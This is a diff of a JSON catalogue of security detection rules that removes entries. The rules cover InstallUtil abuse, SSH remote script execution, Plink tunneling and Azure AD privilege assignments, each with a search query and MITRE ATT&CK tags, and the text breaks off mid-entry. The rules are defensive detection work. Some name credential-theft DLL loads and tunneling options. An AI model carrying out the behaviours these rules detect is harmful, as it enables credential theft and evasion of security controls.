"Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Credential Theft", - "description": "The following analytic detects instances where the Windows InstallUtil.exe binary loads `vaultcli.dll` and `Samlib.dll`. This detection leverages Sysmon EventCode 7 to identify these specific DLL loads. This activity is significant because it can indicate an attempt to execute code that bypasses application control and captures credentials using tools like Mimikatz. If confirmed malicious, this behavior could allow an attacker to steal credentials, potentially leading to unauthorized access and further compromise of the system.", - "search": "`sysmon` EventCode=7 process_name=installutil.exe loaded_file_path IN (\"*\\\\samlib.dll\", \"*\\\\vaultcli.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by user_id, dest, process_name, loaded_file, loaded_file_path, original_file_name, process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_credential_theft_filter`", - "tags": { - "analytic_story": [ - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An instance of process name [$process_name$] loading a file [$loaded_file$] was identified on endpoint- [$dest$] to potentially capture credentials in memory.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil in Non Standard Path", - "description": "The following analytic detects the execution of InstallUtil.exe from non-standard paths. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names outside typical directories. This activity is significant because InstallUtil.exe is often used by attackers to execute malicious code or scripts. If confirmed malicious, this behavior could allow an attacker to bypass security controls, execute arbitrary code, and potentially gain unauthorized access or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where `process_installutil` NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Remote Network Connection", - "description": "The following analytic detects the Windows InstallUtil.exe binary making a remote network connection. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and network telemetry. This activity is significant because InstallUtil.exe can be exploited to download and execute malicious code, bypassing application control mechanisms. If confirmed malicious, an attacker could achieve code execution, potentially leading to further system compromise, data exfiltration, or lateral movement within the network. Analysts should review the parent process, network connections, and any associated file modifications to determine the legitimacy of this activity.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_installutil` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as C2 ] | table _time user dest parent_process_name process_name process_path process process_id dest_port C2 | `windows_installutil_remote_network_connection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ generating a remote download.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Uninstall Option", - "description": "The following analytic detects the use of the Windows InstallUtil.exe binary with the `/u` (uninstall) switch, which can execute code while bypassing application control. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because it can indicate an attempt to execute malicious code without administrative privileges. If confirmed malicious, an attacker could achieve code execution, potentially leading to further system compromise or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_installutil` Processes.process IN (\"*/u*\", \"*uninstall*\") NOT (Processes.process IN (\"*C:\\\\WINDOWS\\\\CCM\\\\*\")) NOT (Processes.parent_process_name IN (\"Microsoft.SharePoint.Migration.ClientInstaller.exe\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_installutil_uninstall_option_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ performing an uninstall.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil Uninstall Option with Network", - "description": "The following analytic identifies the use of Windows InstallUtil.exe making a remote network connection using the `/u` (uninstall) switch. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process and network activity data. This behavior is significant as it may indicate an attempt to download and execute code while bypassing application control mechanisms. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_installutil` Processes.process IN (\"*/u*\", \"*uninstall*\") by _time span=1h Processes.user Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as C2 ] | table _time user dest parent_process_name process_name process_path process process_id dest_port C2 | `windows_installutil_uninstall_option_with_network_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ performing an uninstall.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil URL in Command Line", - "description": "The following analytic detects the use of Windows InstallUtil.exe with an HTTP or HTTPS URL in the command line. This is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions containing URLs. This activity is significant as it may indicate an attempt to download and execute malicious code, potentially bypassing application control mechanisms. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or persistent access within the environment. Analysts should review the parent process, network connections, file modifications, and related processes for further investigation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_installutil` Processes.process IN (\"*http://*\",\"*https://*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_url_in_command_line_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Signed Binary Proxy Execution InstallUtil" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ passing a URL on the command-line.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -205032,174 +160893,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Linux SSH Remote Services Script Execute", - "description": "The following analytic detects the use of SSH to move laterally and execute a script or file on a remote host. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific SSH command-line parameters and URLs. This activity is significant as it may indicate an attacker attempting to execute remote commands or scripts, potentially leading to unauthorized access or control over additional systems. If confirmed malicious, this could result in lateral movement, privilege escalation, or the execution of malicious payloads, compromising the security of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ssh Processes.process IN (\"*oStrictHostKeyChecking*\", \"*oConnectTimeout*\", \"*oBatchMode*\") AND Processes.process IN (\"*http:*\",\"*https:*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ssh_remote_services_script_execute_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ attempting to move laterally and download a file.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.004", - "mitre_attack_technique": "SSH", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT39", - "APT5", - "BlackTech", - "FIN13", - "FIN7", - "Fox Kitten", - "GCMAN", - "Lazarus Group", - "Leviathan", - "OilRig", - "Rocke", - "TeamTNT", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Protocol Tunneling with Plink", - "description": "The following analytic detects the use of Plink for protocol tunneling, either for egress or lateral movement within an organization. It identifies specific Plink command-line options (-R, -L, -D, -l) by analyzing process execution logs from Endpoint Detection and Response (EDR) agents. This activity is significant as it may indicate an attempt to bypass network security controls or establish unauthorized connections. If confirmed malicious, this could allow an attacker to exfiltrate data, move laterally across the network, or maintain persistent access, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=plink.exe OR Processes.original_file_name=Plink Processes.process IN (\"*-R *\", \"*-L *\", \"*-D *\", \"*-l *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_protocol_tunneling_with_plink_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to tunnel to a remote destination.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1021.004", - "mitre_attack_technique": "SSH", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT39", - "APT5", - "BlackTech", - "FIN13", - "FIN7", - "Fox Kitten", - "GCMAN", - "Lazarus Group", - "Leviathan", - "OilRig", - "Rocke", - "TeamTNT", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -205820,937 +161513,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" ] - }, - { - "name": "Azure AD Admin Consent Bypassed by Service Principal", - "description": "The following analytic identifies instances where a service principal in Azure Active Directory assigns app roles without standard admin consent. It uses Entra ID logs from the `azure_monitor_aad` data source, focusing on the \"Add app role assignment to service principal\" operation. This detection is significant as it highlights potential bypasses of critical administrative consent processes, which could lead to unauthorized privileges being granted. If confirmed malicious, this activity could allow attackers to exploit automation to assign sensitive permissions without proper oversight, potentially compromising the security of the Azure AD environment.", - "search": "`azure_monitor_aad` operationName=\"Add app role assignment to service principal\" src_user_type=servicePrincipal | rename properties.* as * | eval roleId = mvindex('targetResources{}.modifiedProperties{}.newValue', 0) | eval roleValue = mvindex('targetResources{}.modifiedProperties{}.newValue', 1) | eval roleDescription = mvindex('targetResources{}.modifiedProperties{}.newValue', 2) | eval dest_user = mvindex('targetResources{}.id', 0) | rename initiatedBy.app.displayName as src_user | stats count earliest(_time) as firstTime latest(_time) as lastTime by src_user dest_user roleId roleValue roleDescription | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_admin_consent_bypassed_by_service_principal_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Privilege Escalation", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Service principal $src_user$ bypassed the admin consent process and granted permissions to $dest_user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Application Administrator Role Assigned", - "description": "The following analytic identifies the assignment of the Application Administrator role to an Azure AD user. It leverages Azure Active Directory events, specifically monitoring the \"Add member to role\" operation. This activity is significant because users in this role can manage all aspects of enterprise applications, including credentials, which can be used to impersonate application identities. If confirmed malicious, an attacker could escalate privileges, manage application settings, and potentially access sensitive resources by impersonating application identities, posing a significant security risk to the Azure AD tenant.", - "search": " `azure_monitor_aad` \"operationName\"=\"Add member to role\" \"properties.targetResources{}.modifiedProperties{}.newValue\"=\"\\\"Application Administrator\\\"\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime by user initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_application_administrator_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "The privileged Azure AD role Application Administrator was assigned for User $user$ initiated by $initiatedBy$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD FullAccessAsApp Permission Assigned", - "description": "The following analytic detects the assignment of the 'full_access_as_app' permission to an application within Office 365 Exchange Online. This is identified by the GUID 'dc890d15-9560-4a4c-9b7f-a736ec74ec40' and the ResourceAppId '00000002-0000-0ff1-ce00-000000000000'. The detection leverages the azure_monitor_aad data source, focusing on AuditLogs with the operation name 'Update application'. This activity is significant as it grants broad control over Office 365 operations, including full access to all mailboxes and the ability to send emails as any user. If malicious, this could lead to unauthorized access and data exfiltration.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Update application\" | eval newvalue = mvindex('properties.targetResources{}.modifiedProperties{}.newValue',0) | spath input=newvalue | search \"{}.ResourceAppId\"=\"00000002-0000-0ff1-ce00-000000000000\" \"{}.RequiredAppPermissions{}.EntitlementId\"=\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | stats count earliest(_time) as firstTime latest(_time) as lastTime values(Permissions) by user, object, user_agent, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_fullaccessasapp_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ assigned the full_access_as_app permission to the app registration $object$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Global Administrator Role Assigned", - "description": "The following analytic detects the assignment of the Azure AD Global Administrator role to a user. It leverages Azure Active Directory AuditLogs to identify when the \"Add member to role\" operation includes the \"Global Administrator\" role. This activity is significant because the Global Administrator role grants extensive access to data, resources, and settings, similar to a Domain Administrator in traditional AD environments. If confirmed malicious, this could allow an attacker to establish persistence, escalate privileges, and potentially gain control over Azure resources, posing a severe security risk.", - "search": "`azure_monitor_aad` operationName=\"Add member to role\" properties.targetResources{}.modifiedProperties{}.newValue=\"\\\"Global Administrator\\\"\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_global_administrator_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Global Administrator Role assigned for User $user$ initiated by $initiatedBy$", - "risk_score": 72, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD PIM Role Assigned", - "description": "The following analytic detects the assignment of an Azure AD Privileged Identity Management (PIM) role. It leverages Azure Active Directory events to identify when a user is added as an eligible member to a PIM role. This activity is significant because PIM roles grant elevated privileges, and their assignment should be closely monitored to prevent unauthorized access. If confirmed malicious, an attacker could exploit this to gain privileged access, potentially leading to unauthorized actions, data breaches, or further compromise of the environment.", - "search": " `azure_monitor_aad` operationName=\"Add eligible member to role in PIM completed*\" | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user values(targetResources{}.displayName) as displayName by result, operationName, initiatedBy.user.displayName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_pim_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An Azure AD PIM role assignment was assiged to $user$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD PIM Role Assignment Activated", - "description": "The following analytic detects the activation of an Azure AD Privileged Identity Management (PIM) role. It leverages Azure Active Directory events to identify when a user activates a PIM role assignment, 